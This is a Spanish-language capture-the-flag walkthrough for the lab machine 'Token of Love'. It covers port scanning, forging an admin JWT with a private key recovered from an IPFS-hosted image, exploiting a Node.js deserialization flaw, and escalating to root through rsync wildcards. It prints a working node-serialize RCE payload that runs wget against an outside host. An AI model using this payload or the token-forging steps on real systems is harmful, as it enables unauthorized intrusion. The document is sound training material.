Resolución del CTF TOKEN OF LOVE
💢CTF DISPONIBLE EN TheHackersLabs💢
❌Nombre: TOKEN OF LOVE
📈Nivel: Profesional
💻OS: Linux
💢Caregoría: Seguridad Ofensiva
🙋🏽♂️Creador: Lenam
https://thehackerslabs.com/token-of-love/
Objetivos
- Acceso Inicial: Descubrir y analizar la página web para identificar posibles vulnerabilidades.
- Análisis de Tokens JWT: Decodificar y manipular tokens JWT para obtener privilegios elevados.
- Explotación de Vulnerabilidades: Identificar y explotar vulnerabilidades de deserialización en Node.js.
- Escalada de Privilegios: Utilizar técnicas avanzadas para escalar privilegios y obtener acceso root.
- Aprendizaje y Reflexión: Comprender las técnicas y herramientas utilizadas, y reflexionar sobre cómo proteger los sistemas contra estos tipos de ataques.
Herramientas y Recursos
- Navegador Web: Para acceder y analizar la página web.
- Burp Suite: Para interceptar y manipular solicitudes HTTP.
- John the Ripper: Para crackear hashes de contraseñas.
- Hydra: Para realizar ataques de fuerza bruta en servicios SSH.
- pspy64: Para monitorear procesos en el sistema.
- imgconceal: Para extraer contenido oculto en imágenes.
¡Comencemos!
Ahora que tenemos claro nuestro objetivo y las herramientas que vamos a utilizar, es hora de sumergirnos en el proceso paso a paso. Preparaos para un viaje lleno de desafíos y descubrimientos. ¡Vamos a ello! 🌟🔍
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- -sC : Realiz una escaneo con los scripts basicos de reconocimiento
- -sV : Realiza un escaneo en buqueda de los servicios
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.

- Resultados:
- El sistema estaba activo y respondía rápidamente.
- Había dos puertos abiertos:
- Puerto 22 (SSH): Utilizado para conexiones seguras a través de la red.
- Puerto 80 (HTTP): Utilizado para servir páginas web.
Explorando el Servidor Web: ¿Qué hay en la página?
Una vez que supe que había un servidor web, quise explorarlo más a fondo. Para ello, usé feroxbuster, una herramienta que busca archivos y directorios ocultos en la página web. Es como si estuviera revisando todas las habitaciones de una casa para ver qué hay en cada una.
- Comando utilizado:
feroxbuster --url http://192.168.18.229 -w /usr/share/wordlists/rockyou.txt -x php,html,txt
- Parámetros explicados:
--url
: La URL del servidor web que estoy analizando.-w
: La ruta de la lista de palabras queferoxbuster
usará para buscar archivos y directorios.-x
: Las extensiones de archivo que quiero buscar (en este caso,php
,html
ytxt
).
- Parámetros explicados:

- Resultados:
- Varios archivos relacionados con el sitio web, pero nada destacable en esta etapa.
Enumeración Manual
Accedí al sitio web y me registré para iniciar sesión.


Al revisar el código JavaScript de la página, encontramos una función interesante para cargar mensajes de manera segura:
Esta función carga mensajes desde el servidor y los renderiza de forma segura, evitando la inyección HTML. ¡Un buen ejemplo de cómo proteger contra ataques XSS!

Acceso Inicial a la Página Web
El primer paso es acceder al sitio web en el puerto 80. Aquí, nos registramos e iniciamos sesión. Una vez dentro, inspeccionamos el código fuente de la página y las cookies. ¡Bingo! Encontramos una cookie de sesión JWT con la bandera HttpOnly
activada. Esto significa que la cookie está protegida contra accesos no autorizados desde JavaScript.

Decodificación del Token JWT
La cookie de sesión contiene un token JWT que necesitamos decodificar para entender su contenido y el algoritmo que utiliza. Para ello, usamos el sitio web https://10015.io/tools/jwt-encoder-decoder. Descubrimos que el token utiliza el algoritmo asimétrico RS256, lo que sugiere la existencia de una clave pública y una clave privada. ¡Esto se pone interesante!

Obtención de la Clave Pública
Para validar los tokens JWT, las aplicaciones suelen exponer las claves públicas en el endpoint /.well-known/jwks.json
. Vamos a verificar si este endpoint existe:

¡Perfecto! Ahora tenemos la clave pública.
5. Búsqueda de Pistas en IPFS
En los mensajes del administrador de la páina, encontramos una pista muy interesante:
Dicen que las claves viajan por rutas interplanetarias, vagando por el espacio infinito y estando en todas partes a la vez… ¿será magia o pura tecnología? 😉🔮 bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu
Esto suena a IPFS (InterPlanetary File System). Utilizamos un GateWay HTTP para IPFS y descargamos el recurso:
wget https://ipfs.io/ipfs/bafybeicbqiitqxhqx47qenneilgb2ckdpweoxxkdmcnx4pda654l733lxu

El archivo descargado es una imagen WEBP. Al compararla con la imagen original, notamos diferencias. Utilizamos imgconceal
para extraer el contenido oculto:


¡Bingo! Obtenemos una clave privada:
Manipulación del Token JWT
Con la clave privada en nuestro poder, podemos manipular el token JWT. Volvemos a https://10015.io/tools/jwt-encoder-decoder y utilizamos la clave privada para firmar el JWT con el rol de «admin».

Copiamos el JWT firmado, modificamos la cookie de sesión en nuestro navegador y ¡voilà! Ahora somos usuarios administradores y podemos enviar mensajes.

Envío de Mensajes y RCE
Al inspeccionar el código JavaScript que envía mensajes a la API, encontramos una vulnerabilidad de deserialización en Node.js, donde nos da la pista: «Serializa tu mensaje y envialo con cariño»:

Utilizamos Burp Suite para capturar el envío de un mensaje y modificamos la data enviada con un payload de RCE (Remote Code Execution):

La serialización, un proceso esencial en la transferencia de datos, convierte un objeto en una secuencia de bytes que puede almacenarse o transmitirse a través de una red. Por otro lado, la deserialización es la acción inversa, donde una secuencia de bytes se convierte de nuevo en un objeto. Los ataques de deserialización se producen cuando un atacante puede manipular los datos durante este proceso, lo que puede resultar en la ejecución de código malicioso en el servidor.
Os dejo mas información https://curiosidadesdehackers.com/ataques-de-deserializacion-explicacion-y-poc-2/
{"data":"{\"text\":\"test\",\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('wget 192.168.1.116', function(error, stdout, stderr) { console.log(stdout) });}()\"}"}

¡Conseguimos RCE! Ahora podemos ejecutar comandos en el servidor.

Escalada de Privilegios
Para escalar privilegios, utilizamos pspy64
para monitorear los procesos que se ejecutan como root. Encontramos un proceso vulnerable a rsync wildcards:

Combinamos esta vulnerabilidad con la capacidad de escribir ficheros como el usuario eros
para crear una reverse shell:

Esperamos un minuto y ¡obtenemos una shell como root!

Conclusión
Este proceso nos ha llevado desde el acceso inicial a la página web hasta la obtención de acceso root en el sistema. Hemos utilizado técnicas avanzadas de ciberseguridad, como la manipulación de tokens JWT, la explotación de vulnerabilidades de deserialización y la escalada de privilegios mediante rsync wildcards. ¡Espero que hayáis disfrutado tanto como yo de este viaje por el mundo de la ciberseguridad! 🚀🔒
Agradecimientos
Especial agradecimiento al compañero LenamGenX por la creación y el conocimiento aportado en esta máquina. Además de su ayuda a la hora de crear este write up